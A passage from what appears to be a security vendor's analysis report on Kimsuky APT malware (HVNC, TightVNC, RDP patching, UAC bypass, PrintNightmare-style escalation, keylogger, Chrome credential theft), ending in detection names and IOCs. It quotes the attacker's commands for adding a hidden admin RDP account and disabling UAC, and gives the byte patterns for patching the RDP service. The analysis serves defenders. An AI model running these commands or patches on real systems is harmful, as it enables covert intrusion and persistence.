is the same as the source code of the open source Meterpreter. Figure 61. server_setup() function that is initial routine of downloaded metsrv.dll 5.1.2. HVNC (TinyNuke) TinyNuke, also known as Nuclear Bot, is a banking malware discovered in 2016. It includes features such as HVNC (HiddenDesktop/VNC), reverse SOCKS4 proxy, and form grabbing. As its source code was revealed in 2017, TinyNuke is used by various attackers, and the HVNC feature is partially borrowed by other malware such as AveMaria and BitRAT. Among the various features of TinyNuke that is being distributed, only the HVNC feature is enabled. A difference between normal VNC and HVNC used by TinyNuke is that the user does not realize that the Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) PC is infected and its screen is being controlled. The following shows the process tree when HVNC is enabled. Figure 62. Process tree upon using HVNC In the process tree is explorer.exe (PID: 3140), which is the child process of explorer.exe (PID: 2216). The attacker is able to control the screen via the new explorer.exe (PID: 3140), and the GUI (Graphical user interface) of the process created while the attacker is controlling the target PC is not visible on the target PC screen. This type of VNC remote access is called HVNC (Hidden Virtual Network Computing). Another characteristic of the malware is that it uses the reverse VNC method. VNC consists of a server and a client. It installs the VNC server on the control target system, and the user who wishes to control the system remotely uses the VNC client. It gains control of the VNC client by going through the VNC server installed on the remote control target system. In a normal VNC environment, it attempts to access the remote control target (VNC server) via the VNC client. However, HVNC of TinyNuke attempts to access the client from the server with the Reverse VNC feature. This means that when HVNC of the infected system is run, the awaiting attacker accesses the designated C&C server and uses the VNC client (server for HVNC) on the C&C server to gain remote control. It is assumed that this is to bypass firewalls such as Reverse Shell that blocks internal access from the outside and to support communication in a private IP environment. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 63. Attacker's HVNC screen Note that TinyNuke uses "AVE_MARIA" string for verification when establishing the HVNC communication between the server and the client. This means that when "AVE_MARIA" string is sent from the HVNC client to the server, the server verifies the name, and the HVNC communication can be enabled if "AVE_MARIA" is correct. Figure 64. AVE_MARIA string used in HVNC This is identical to that of HVNC used by Kimsuky group. However, recently there have been HVNCs using the "LIGHT's BOMB" string. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Figure 65. "LIGHT'S BOMB" string used in place of AVE_MARIA 5.1.3. TightVNC Another VNC malware distributed via AppleSeed backdoor is TightVNC. TightVNC is an open-source VNC utility, and the attacker customizes it to use it. TightVNC can be regarded as a normal VNC utility, but it is different in that it supports the reverse VNC feature discussed earlier. TightVNC consists of tvnserver.exe, the server module, and tvnviewer.exe, the client module. In a normal environment, it installs tvnserver on the remote control target and accesses the target using tvnviewer in the user environment. In order to use the Reverse VNC feature, it executes tvnviewer as a listening mode on the client, then uses tvnserver that is installed as a service on the access target system to set the client address using controlservice and connect commands for access gain. The Kimsuky group distributes tvnserver, and it is customized so that the Reverse VNC feature can be used in the infected environment without installing a service. As such, simply running tvnserver will allow the attacker to access tvnviewer that operates on the C&C server and gain control of the screen of the infected system. Figure 66. Reverse VNC communications using tvnviewer Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 5.1.4. RDP Wrapper Meterpreter and VNC malware types were mainly discussed in earlier parts, yet the attacker also uses RDP Wrapper for remote control. RDP Wrapper is an open source utility that supports the remote desktop feature. Since Windows OS does not support remote desktop in all versions, RDP Wrapper needs to be installed to enable the feature. The Kimsuky group installs RDP Wrapper to multiple systems infected with AppleSeed. 5.2. RDP Related 5.2.1. Adding RDP User Among the earlier-mentioned PIF droppers, there was the type that drop and execute malware which perform the role of adding RDP user. It adds an account with the following credential. - User Account: default - Password: 1qaz2wsx#EDC It adds an account by executing simple command line commands like shown below. When the commands are over, that is, when the malware achieves its aim, it deletes itself using a batch file. > net user /add default 1qaz2wsx#EDC > net localgroup Administrators default /add > net localgroup "Remote Desktop Users" default /add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v default /t REG_DWORD /d 0 /f > reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f The commands use the net command to register a user named "default". The user is included in the admin group as well as the RDP group, so it appears that the account will later be used to access RDP. The malware then registers the added user account to the SpecialAccounts registry key so that the user cannot know that an account has been added in the login screen. Seeing how the admin privilege is required by default to add a user account, the malware and the PIF dropper itself may have been run by other malware via 'run as administrator' after going through the privilege escalation process instead of the user clicking it. As one needs admin privilege to add user privilege, there have been cases where the malware with the same feature (of adding user accounts) was executed by the privilege escalation malware. This privilege escalation malware will be discussed later in this article. 5.2.2. RDP Patcher Only 1 RDP per PC is allowed in a normal Windows environment. Because of this, even if the attacker knows the account credentials of the infected system, he or she cannot make an RDP connection without the user realizing it if the user is performing a task locally or a user is currently accessing the system using RDP. This is because if the attacker attempts to connect with RDP while the current user is in the environment, the current user will be logged off. To bypass such instances, the attacker may patch the memory of Remote Desktop Service to allow Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) execution of multiple remote desktop sessions. For instance, Mimikatz supports such a feature with the ts::multirdp command. The command finds the DLL address in the current running Remote Desktop Service (svchost.exe that loaded termsrv.dll) and searches a certain binary pattern. As the pattern is different for each Windows version, each version has a defined search pattern. When the defined pattern exists, the malware patches it into a new one, allowing multiple RDP to happen. The Kimsuky group uses a type of malware that specializes in the memory patch for multiple RDP. Like most of the malware strains used by the group, it is DLL and is run by regsvr32.exe. The currently discovered sample is an x64 binary, so it only operates in the x64 Windows architecture. Its search and patch patterns are similar to the source code of Mimikatz, but one difference is that it also supports the Windows XP version. The search patterns and patterns to be patched in each Windows version are as follows: Version (x64) Search Pattern Patch Pattern Windows XP (2600) or above {0x83, 0xf8, 0x02, 0x7f} {0x90, 0x90} Windows Vista ( 6000 ) {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75}; {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb}; Windows 7 ( 7600 ) {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; Windows 8.1 ( 9600 ) {0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; Windows 10, Version 1803 ( 17134 ) {0x8b, 0x99, 0x3c, 0x06, 0x00, 0x00, 0x8b, 0xb9, 0x38, 0x06, 0x00, 0x00, 0x3b, 0xdf, 0x0f, 0x84}; {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0xe9}; Windows 10, Version 1809 (17763) or above {0x8b, 0x81, 0x38, 0x06, 0x00, {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0x00, 0x39, 0x81, 0x3c, 0x06, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x00, 0x00, 0x0f, 0x84}; 0x90, 0x90, 0x90, 0x90}; Table 28. RDP service search and patch patterns 5.3. Privilege Escalation 5.3.1. UACMe The privilege escalation routine for AppleSeed that was mentioned earlier shows that if the following registry keys all have a value of 0 (meaning that UAC is disabled), the malware executes recursion with the admin privilege. In a normal environment, the keys are not disabled because of security reasons. - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System PromptOnSecureDesktop After installing AppleSeed, the attacker used manually patched UACMe to disable UAC. UACMe is an open-source project that is made public on GitHub. It is a command line tool that incorporates known UAC Bypass Methods. In other words, it is an open-source tool that supports dozens of UAC Bypass features. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) The attacker built UACMe in the form of DLL so that it can be run with regsvr32.exe like AppleSeed and used the ICMLuaUtil interface among UACMe features to bypass UAC.4 Figure 67. UAC Bypass technique using ICMLuaUtil The technique uses a certain undocumented method that is exported from the ICMLuaUtil interface. Like the ShellExecute() API, the method receives the pathname of the target that will be run as an argument and executes it. Unlike the API, it executes it as admin privilege without the UAC pop-up. As the method is not patched even in the latest Windows version, the technique is used by multiple malware strains. For instance, as Pitou Boot Kit malware needs admin privilege to infect MBR and reboot the system, it uses CMSTPLUA to do so. GandCrab ransomware that was distributed in the NSIS packer form in the past also used CMSTPLUA.5 - CMSTPLUA : { 3E5FC7F9-9A51-4367-9063-A120244FBEC7 } - ICMLuaUtil : { 6EDD6D74-C007-4E75-B76A-E5740995E24C } https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=8709a7d6-561a-4df3-8bd1- a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass) https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form) Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) The malware executes the command line commands shown below. When the malware is executed by being loaded through regsvr32.exe, it automatically bypasses UAC by using a certain method of ICMLuaUtil and executes the command line commands to configure registry keys that disable UAC. cmd /c HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System PromptOnSecureDesktop /t REG_DWORD /d 0 /f HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 5.3.2. CVE-2021-1675 Vulnerability The Kimsuky group has also been using the privilege escalation vulnerability. The malware installed through AppleSeed escalates privilege by using the CVE-2021-1675 vulnerability. CVE-2021-1675 is a privilege escalation vulnerability of the Windows Printer Spooler service. It can exploit the vulnerability of the AddPrinterDriverEx() API to operate a malicious DLL designated by the attacker with escalated privilege. AddPrinterDriverEx() is a function that installs local or remote printer drivers and connects configuration, data, and driver files. If sending '0x8014' value to the fourth argument (dwFileCopyFlags) of the API to bypass the privilege verification of 'SeLoadDriverPrivilege,' and entering a malicious DLL path in the DriverInfo struct of pConfigFile to call, the malicious DLL that is sent as the argument is loaded and the attacker can execute the malicious DLL with escalated privilege. The malware used by the Kimsuky group is created based on the following GitHub open source, but there certain differences are noticeable when comparing it with the original source code.6 Figure 68. CVE-2021-1675 vulnerability routine One noticeable difference is that while the original source code uses the EnumPrinterDrivers() API to https://github.com/hlldz/CVE-2021-1675-LPE/ Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) pinpoint the location of the printer driver file unidrv.dll in the infected system, this malware contains the path shown below, hard-coded. The path is also found on the current latest version of Windows 10.0.19043.1348, but it might be different depending on the OS version. It seems that the attacker had already collected the information of the target PC in advance and developed the malware based on the information. - Hard-coded Path: c:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNID RV.DLL The DLL registered through the malware was collected with the name lala.dll, which disables UAC and adds accounts. The aforementioned UACMe uses UAC Bypass to configure the following registry and disable UAC with escalated privilege, and lala.dll also performs the same feature. Registry Path Settings Value (Description) HKLM\SoftWare\Microsoft\Windows\CurrentVersion\ Policies\System\ConsentPromptBehaviorAdmin 0 (Not verified upon admin privilege escalation) HKLM\SoftWare\Microsoft\Windows\CurrentVersion\ 0 (Not switched to secure desktop upon Policies\System\PromptOnSecureDesktop admin privilege escalation) Table 29. Registry value change related to admin privilege escalation One difference the malware has with UACMe is that it additionally adds an RDP user account after privilege escalation. The account added is the same as the one from the malware that adds the user account mentioned earlier. Yet while the sample created through the PIF dropper uses the command line commands, the current one sets the registry using the API. Figure 69. Adding user account using API Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) One thing to note is that the DLL has the following PDB path. It seems that the Kimsuky group is using the CVE-2021-34527 (PrintNightmare) vulnerability to launch their attacks, with the sample probably being used for attacks exploiting the vulnerability. - PDB Path: E:\Peacock\exploit\Privilege Escalation\night dll add new admin user\CVE-2021-34527master\nightmare-dll\x64\Release\nightmare.pdb 5.4. Collecting Information 5.4.1. Mimikatz The reason the attacker escalates privilege by using tools such as UACMe is to take over the entire domain via lateral movement in the internal infrastructure. To move laterally within the system, one needs to collect account credentials. Mimikatz is one of the main tools used for such a purpose as it needs to be run as administrator to steal account credentials within the system.7 The attacker additionally installs Mimikatz, or Powerkatz, to be precise. Figure 70. Command options upon running Powerkatz https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=cc8cf212-f3ca-4134-812d- 0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz) Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 5.4.2. Collecting Chrome Account Credentials While the following malware is built incorrectly and does not operate normally, it can be used to steal information. Like most of the malware strains used by the group, it is DLL and is run by regsvr32.exe. It steals cookie information and user account credentials stored in the Chrome web browser and saves in a text form in the following path. - Save Path for Information Stolen from Chrome: C:\ProgramData\Adobe\mui.db The information that is parsed and decrypted is saved as domain, name, path, and value if it is a cookie. For account credentials, they are saved as url, user, and pass. If the malware works normally, the saved results are likely to be stolen by the backdoor such as AppleSeed or PebbleDash and sent to the C&C server. Figure 71. Chrome web browser cookies and account credentials saved in mui.db file 5.4.3. Keylogger Keylogger is a DLL-form malware that is also run by regsvr32.exe. As seen below, the malware was collected from inside the AhnLab folder of the ProgramData folder, and it existed as a file named install.cfg. - Path for Collecting Keylogger Malware: %ALLUSERSPROFILE%\ahnlab\install.cfg The attacker also disguised results and settings files below as AhnLab product-related settings files by creating them with names such as ahnlab.cfg and uninstall.cfg. Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) When Keylogger is executed for the first time, it checks for the current privilege. It injects itself as DLL into winlogon.exe in case of admin privilege and explorer.exe if not. Upon being run, it creates and scans the following mutex to prevent concurrent execution. - Mutex: windows certs server [pid] It checks the following path for the existence of uninstall.cfg. If the file exists, keylogging is stopped. The malware does not directly communicate with the C&C server and only performs keylogging features. As such, the attacker may send a command to stop keylogging through backdoor such as AppleSeed or PebbleDash, creating a file in the path shown below. - Keylogging Command Data File: %ALLUSERSPROFILE%\AhnLab\uninstall.cfg Keylogger malware uses GetAsyncKeyState() and GetKeyState() functions to steal the current user's keyboard input information and saves it in a temporary file of the %TEMP% path. Keylogger then periodically copies the keylogging data saved in the %TEMP% path to the path shown below. It appears that the saved results are stolen by the backdoor and sent to the C&C server. - Keylogging Data File: %ALLUSERSPROFILE%\AhnLab\ahnlab.cfg Figure 72. Keylogging data saved in ahnlab.cfg file 5.5. Others 5.5.1. Proxy Malware AppleSeed also creates Proxy malware. The malware has the PDB path named localproxy as shown below. - PDB Path: D:\Troy\FProxy\output\x64\localproxy.pdb As its name suggests, the malware has a proxy feature and receives 2 IP addresses and port numbers Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) from the command line argument to relay them. You can see from the routine below that it simply sends the buffer it has received back to the remote address without going through any conversion processes. - Command Line Argument: help:localproxy.exe RemoteIP RemotePort InternelIP InternelPort Figure 73. Proxy Routine Currently, no command line logs can be seen via the ASD infrastructure, but the ASEC team was able to find the history of the malware communicating with the URL shown below. It is identical to the C&C server address and the port number used in Meterpreter. While the proxy itself can be used in various forms, it appears that it was used to relay C&C communications of Meterpreter. - Remote Access History: 27.255.81[.]109:3015 AhnLab's Response The alias and the engine version information of AhnLab products are shown below. Even if the threat group's activities were recently discovered, AhnLab products may have detected related malware in the past. The ASEC team is tracking the activities of the group and is responding to related malware types, but there may be unidentified alterations that are yet to be detected. Backdoor/JS.Akdoor (2021.04.23.00) Backdoor/Win.Agent.R421553 (2021.10.14.03) Backdoor/Win.Akdoor.C4715493 (2021.10.22.02) Backdoor/Win.Akdoor.C4715520 (2021.10.22.02) Backdoor/Win.Akdoor.R417157 (2021.04.23.00) Backdoor/Win.AppleSeed.C4635545 (2021.10.14.03) Backdoor/Win.AppleSeed.C4646719 (2021.10.14.02) Backdoor/Win.AppleSeed.C4646724 (2021.10.14.02) Backdoor/Win.AppleSeed.C4646725 (2021.10.14.02) Backdoor/Win.AppleSeed.C4699440 (2021.10.14.03) Backdoor/Win.AppleSeed.C4702267 (2021.10.15.01) Backdoor/Win.AppleSeed.C4702268 (2021.10.15.01) Backdoor/Win.AppleSeed.C4705211 (2021.10.18.03) Backdoor/Win.AppleSeed.C4713932 (2021.10.21.00) Backdoor/Win.AppleSeed.C4719084 (2021.10.24.01) Backdoor/Win.AppleSeed.R335261 (2021.10.15.01) Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Backdoor/Win.AppleSeed.R335738 (2020.05.09.00) Backdoor/Win.AppleSeed.R336437 (2020.05.14.00) Backdoor/Win.AppleSeed.R441519 (2021.10.14.03) Backdoor/Win.AppleSeed.R444289 (2021.10.14.03) Backdoor/Win.AppleSeed.R445451 (2021.10.15.01) Backdoor/Win.AppleSeed.R445453 (2021.10.15.01) Backdoor/Win.AppleSeed.R445842 (2021.10.18.03) Backdoor/Win.Keylogger.R419909 (2021.10.14.03) Backdoor/Win.Meterpreter.C4705209 (2021.10.18.03) Backdoor/Win.VNC.C4589952 (2021.10.14.03) Backdoor/Win32.Agent.R338775 (2020.06.01.03) Backdoor/Win32.Kimsuky.R341619 (2020.06.25.03) Backdoor/Win64.Akdoor.C4148267 (2020.07.01.04) Backdoor/Win64.Akdoor.C4176420 (2020.08.05.05) Backdoor/Win64.Akdoor.C4250525 (2020.12.04.04) Backdoor/Win64.Akdoor.C4251494 (2020.12.08.03) Backdoor/Win64.Akdoor.R179345 (2016.04.22.05) Backdoor/Win64.Akdoor.R181647 (2016.05.20.00) Backdoor/Win64.Akdoor.R197899 (2017.04.03.03) Backdoor/Win64.Akdoor.R357381 (2020.12.08.06) Backdoor/Win64.Keylogger.R353447 (2020.10.20.04) Downloader/Win.Agent.C4510706 (2021.10.15.00) Downloader/Win64.Agent.C4318031 (2021.02.01.04) Dropper/JS.Agent (2021.08.26.03) Dropper/JS.Akdoor (2021.10.07.00) Dropper/JS.Generic (2021.05.08.00) Dropper/Win.Agent.C4520969 (2021.10.15.00) Dropper/Win.Akdoor.C4656487 (2021.09.28.00) Dropper/Win.AppleSeed.C4699439 (2021.10.14.03) Dropper/Win32.Infostealer.R332952 (2020.04.16.08) Dropper/Win64.Akdoor.R194398 (2017.01.26.00) Dropper/WSF.Agent (2021.05.13.02) Exploit/Win.CVE-2021-1675.C4584875 (2021.08.09.03) Exploit/Win.CVE-2021-34527.R436236 (2021.08.09.03) Malware/Gen.Reputation.C4269991 (2020.12.23.04) Trojan/Win.Agent.C4382841 (2021.10.14.03) Trojan/Win.Agent.C4457973 (2021.10.15.01) Trojan/Win.Agent.C4520953 (2021.10.14.03) Trojan/Win.Agent.C4522294 (2021.06.11.02) Trojan/Win.Agent.C4524918 (2021.10.14.03) Trojan/Win.Agent.C4705973 (2021.10.19.00) Trojan/Win.Agent.C4714244 (2021.10.21.03) Trojan/Win.Agent.R416026 (2021.10.14.03) Trojan/Win.Agent.R420433 (2021.10.14.03) Trojan/Win.Agent.R422617 (2021.10.14.03) Trojan/Win.Agent.R425110 (2021.10.14.03) Trojan/Win.Agent.R436488 (2021.10.14.03) Trojan/Win.Akdoor.C4522181 (2021.10.14.03) Trojan/Win.Akdoor.C4522184 (2021.06.11.00) Trojan/Win.Akdoor.C4589941 (2021.08.13.03) Trojan/Win.Akdoor.C4596140 (2021.08.18.00) Trojan/Win.Akdoor.C4700226 (2021.10.15.00) Trojan/Win.Akdoor.C4728343 (2021.10.27.00) Trojan/Win.Akdoor.R425112 (2021.10.14.03) Trojan/Win.Akdoor.R426485 (2021.10.15.00) Trojan/Win.Akdoor.R436752 (2021.08.13.03) Trojan/Win.Akdoor.R445441 (2021.10.15.01) Trojan/Win.Akdoor.R446906 (2021.10.24.02) Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Trojan/Win.Appleseed.R428102 (2021.10.15.01) Trojan/Win.Generic.C4609881 (2021.08.27.02) Trojan/Win.HVNC.C4635546 (2021.10.14.03) Trojan/Win.Keylogger.C4719085 (2021.10.24.01) Trojan/Win.KeyLogger.R422003 (2021.10.14.03) Trojan/Win.LightShell.R435857 (2021.08.07.00) Trojan/Win.LightShell.R436719 (2021.08.13.02) Trojan/Win.LightShell.R439086 (2021.10.14.03) Trojan/Win.LightShell.R439839 (2021.09.02.03) Trojan/Win.LightShell.R445352 (2021.10.15.00) Trojan/Win.Meterpreter.R430231 (2021.10.14.03) Trojan/Win.Mimikatz.C4521006 (2021.06.09.02) Trojan/Win.Mimikatz.C4717867 (2021.10.23.01) Trojan/Win.NukeSped.R415643 (2021.10.14.03) Trojan/Win.Proxicon.R436042 (2021.08.09.03) Trojan/Win.RDPatcher.R445454 (2021.10.15.01) Trojan/Win.Stealer.C4768269 (2021.11.12.03) Trojan/Win.Tinukebot.R415647 (2021.10.14.03) Trojan/Win.TinyNuke.C4633235 (2021.10.14.03) Trojan/Win.TinyNuke.C4702254 (2021.10.15.01) Trojan/Win.TinyNuke.R435917 (2021.10.14.03) Trojan/Win.VNC.C4318018 (2021.10.14.03) Trojan/Win.VNC.C4589940 (2021.10.14.03) Trojan/Win.VNC.C4633124 (2021.09.16.00) Trojan/Win.VNC.R435919 (2021.10.14.03) Trojan/Win.VNC.R436747 (2021.10.14.03) Trojan/Win32.Agent.C4003499 (2020.02.29.06) Trojan/Win32.Agent.C4179369 (2020.08.12.03) Trojan/Win32.Agent.R344880 (2020.07.16.00) Trojan/Win32.Agent.R350149 (2020.09.03.08) Trojan/Win32.Agent.R353325 (2020.10.17.09) Trojan/Win32.Agent.R357752 (2020.12.19.00) Trojan/Win32.Akdoor.C2030137 (2017.07.06.02) Trojan/Win32.Akdoor.R183070 (2016.06.09.07) Trojan/Win32.Akdoor.R183787 (2016.07.22.02) Trojan/Win32.Akdoor.R333041 (2020.04.17.00) Trojan/Win32.Infostealer.R338043 (2020.05.26.02) Trojan/Win32.MalPacked.C4196972 (2020.09.17.00) Trojan/Win32.Rdpwrap.R232017 (2018.11.26.07) Trojan/Win64.Agent.C4318029 (2021.02.01.04) Trojan/Win64.Agent.R337075 (2020.05.20.10) Trojan/Win64.Agent.R337893 (2020.05.25.03) Trojan/Win64.Agent.R338576 (2020.05.29.04) Trojan/Win64.Agent.R350150 (2020.09.03.09) Trojan/Win64.Agent.R354559 (2020.11.01.00) Trojan/Win64.Agent.R367595 (2021.02.23.00) Trojan/Win64.Akdoor.R354720 (2020.11.04.00) Trojan/Win64.Akdoor.R355472 (2020.11.12.04) Trojan/Win64.Loader.C4019677 (2020.03.18.00) Trojan/WSF.Runner (2020.11.12.04) Unwanted/Win.Rdpwrap.C2410573 (2021.04.20.00) Unwanted/Win32.Rdpwrap.C2632304 (2018.07.26.01) Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Conclusion Kimsuky group is continuously launching social engineering attacks, such as spear phishing, against companies, public institutions, and individual users. Recent cases have shown frequent uses of malware AppleSeed and PebbleDash. Such backdoors can stay in the system, receive commands from the attacker, and perform various malicious tasks. As various malware strains for remote control and collecting information are additionally installed, companies and users targeted by the Kimsuky group are at risk of having key information within the system stolen. When there is a suspicious-looking email in the inbox, users must refrain from opening the attached files within the email. Also, anti-malware solutions, such as AhnLab V3, must be regularly updated to the latest version to prevent malware infections. IOC (Indicators of Compromise) Some IOCs were referred to third-party analysis reports. Thus, some were not verified as the sample could not be confirmed. The content may be updated without notice if new information is found. File Path and Name The file paths and names used from the threat group are listed below. Some malware and tool file may have the same name as that of normal files. Script image_confirm_v2.wsf Biden Administration Security Figures.wsf Plan for Establishing Control Tower in North Korea Denuclearization.wsf 2021 **** Missions Service Survey.hwp.js Korean-Japan Relations.js *** News 2021-05-07.pdf jse PIF Dropper JR_210604_R1***_F***_Pf***.pif - (Certain strings blurred as ***) Colon Cancer Case.pif Progress Check_211013.pdf file 211014-915mm(0deg).h5.pif 210927 Covid-19 Response (Boryeong-Taean 1)_merged_edited.PIF 1. 2021 Business Plan (Supplemented by referencing materials from Installation Agency) - 210316-1.pif ROK-US summit (May 21st) Reference Material (edited).pif 2021 *** Work Report Edited.pif Downloader %ALLUSERSPROFILE%\Intel\Driverdriver.cfg %ALLUSERSPROFILE%\Intel\driver.cfg %APPDATA%\Intel\Driverdriver.cfg AppleSeed Installation Path %ALLUSERSPROFILE%\Software\Ahnlab\Service\AutoService.dll %ALLUSERSPROFILE%\Software\ControlSet\Service\ServiceScheduler.dll %ALLUSERSPROFILE%\Software\Defender\Windows\Update\AutoUpdate.dll %ALLUSERSPROFILE%\Software\ESTsoft\Common\ESTCommon.dll Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) %ALLUSERSPROFILE%\Software\KakaoTalk\KaoUpdate.ini %ALLUSERSPROFILE%\Software\Microsoft\AvastAntiVirus\AvastUpdate.dll %ALLUSERSPROFILE%\Software\Microsoft\Avg\AvgSkin.dll %ALLUSERSPROFILE%\Software\Microsoft\Network\NetworkService.dll %ALLUSERSPROFILE%\Software\Microsoft\Printer\PrinterService.dll %ALLUSERSPROFILE%\Software\Microsoft\Service\TaskScheduler.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\AutoDefender\UpdateDB.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\AutoPatch\patch.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\Chrome\GoogleUpdate.dll %ALLUSERSPROFILE%\Software\Microsoft\WIndows\Defender\AutoCheck.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\Defender\AutoUpdate.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\Defender\update.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\Explorer\FontChecker.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\FontChecker.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\MDF\WDFSync\WDFSync.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\MetaSec\MetaSecurity.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\Patch\patch.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\Patch\plugin.dll %ALLUSERSPROFILE%\Software\Microsoft\Windows\Secrity\AutoCheck.dll %ALLUSERSPROFILE%\Software\Office\Update.dll %APPDATA%\ESTsoft\AlLUpdat\AlCommon.dll %APPDATA%\ESTsoft\AlLUpdate\AlCommon.dll %APPDATA%\ESTsoft\Common\ESTCommon.dll %APPDATA%\ESTsoft\Common\ESTUpdate.exe %APPDATA%\ESTsoft\Common\ko-kr.dll %APPDATA%\ESTsoft\updat\ESTCommon.dll %APPDATA%\Microsoft\Windows\Defender\AutoUpdate.dll %APPDATA%\Microsoft\Windows\Defender\patch.dll Meterpreter %ALLUSERSPROFILE%\edge\mtp.db %ALLUSERSPROFILE%\Intel\1060\update1060.cfg %ALLUSERSPROFILE%\intel\bin\update.cfg %ALLUSERSPROFILE%\m.db %ALLUSERSPROFILE%\ma.dat %ALLUSERSPROFILE%\ma.db %ALLUSERSPROFILE%\msedge\mtp.db %ALLUSERSPROFILE%\mt79.dat %ALLUSERSPROFILE%\mtp.dat %ALLUSERSPROFILE%\mtp.db %ALLUSERSPROFILE%\s\mtp.db %ALLUSERSPROFILE%\update.db %SystemDrive%\mav.db %SystemDrive%\netclient\k.txt %SystemDrive%\netclient\km.xml HVNC %ALLUSERSPROFILE%\mac\hvnc.db %ALLUSERSPROFILE%\s\hvnc.db %ALLUSERSPROFILE%\hvnc.dat TightVNC %ALLUSERSPROFILE%\edge\tvnc.db %ALLUSERSPROFILE%\msedge\tvnc.db %ALLUSERSPROFILE%\s\tvnc.dat %ALLUSERSPROFILE%\tvn.db %ALLUSERSPROFILE%\tvnc.dat Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) RDP Wrapper %ALLUSERSPROFILE%\rdp\rdpconf.exe %ALLUSERSPROFILE%\rdp\rdpwinst.exe %ProgramFiles%\rdp wrapper\rdpwrap.dll Malware for Adding Account %ALLUSERSPROFILE%\net.exe %ALLUSERSPROFILE%\net-add.exe %APPDATA%\media\wmi-ui-9cde8e85.db RDP Patch Malware %TEMP%\pms6e3e.tmp UACMe %ALLUSERSPROFILE%\su.db Privilege Escalation Malware %ALLUSERSPROFILE%\lala.exe %ALLUSERSPROFILE%\c.exe %ALLUSERSPROFILE%\lala.dll %ALLUSERSPROFILE%\n.dll Powerkatz %ALLUSERSPROFILE%\hi.db %ALLUSERSPROFILE%\edge\powerkatz-x64.exe %ALLUSERSPROFILE%\pacs8.exe %SystemDrive%\users\[User name]\documents\pkt.exe %SystemDrive%\users\[User name]\documents\1\pkt.exe %SystemDrive%\users\[User name]\documents\powerkatz-x64.exe Malware for Stealing Chrome Account Credentials %ALLUSERSPROFILE%\cc.dat Keylogger %ALLUSERSPROFILE%\ahnlab\install.cfg Proxy Malware %ALLUSERSPROFILE%\la.exe %ALLUSERSPROFILE%\ll.exe File Hashes (MD5) The MD5 of the related files is shown below. However, it might be omitted if there is a sensitive sample. Script 357a56dbc9e8b43d8ca09a92eac9b429 04b207967c38414d99a7da2b718c440f c7844002ba15798f2c240f2b629d90c2 3a4ab11b25961becece1c358029ba611 609f8450e024ed88b130f13d6d7b213f 159dd4d84fd6c5d1bb807cdb02215cf8 f0255dfcb932c3072c2489124b25b373 e7cf7c466e90f2b580ce89e4f8ef2af6 9c86a941cfb1ecbc580aea99b7d18e90 6c82e7b8fe3fd401573a822f6d1455e9 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) d9064c446b39e23822cb3b2680a0e052 8b274243a5179028388a2c17c75afb9f PIF Dropper 96c6ad44b9bb85e9e57bfea7e441d131 e8da7fcdf0ca67b76f9a7967e240d223 aa65c226335539c162a9246bcb7ec415 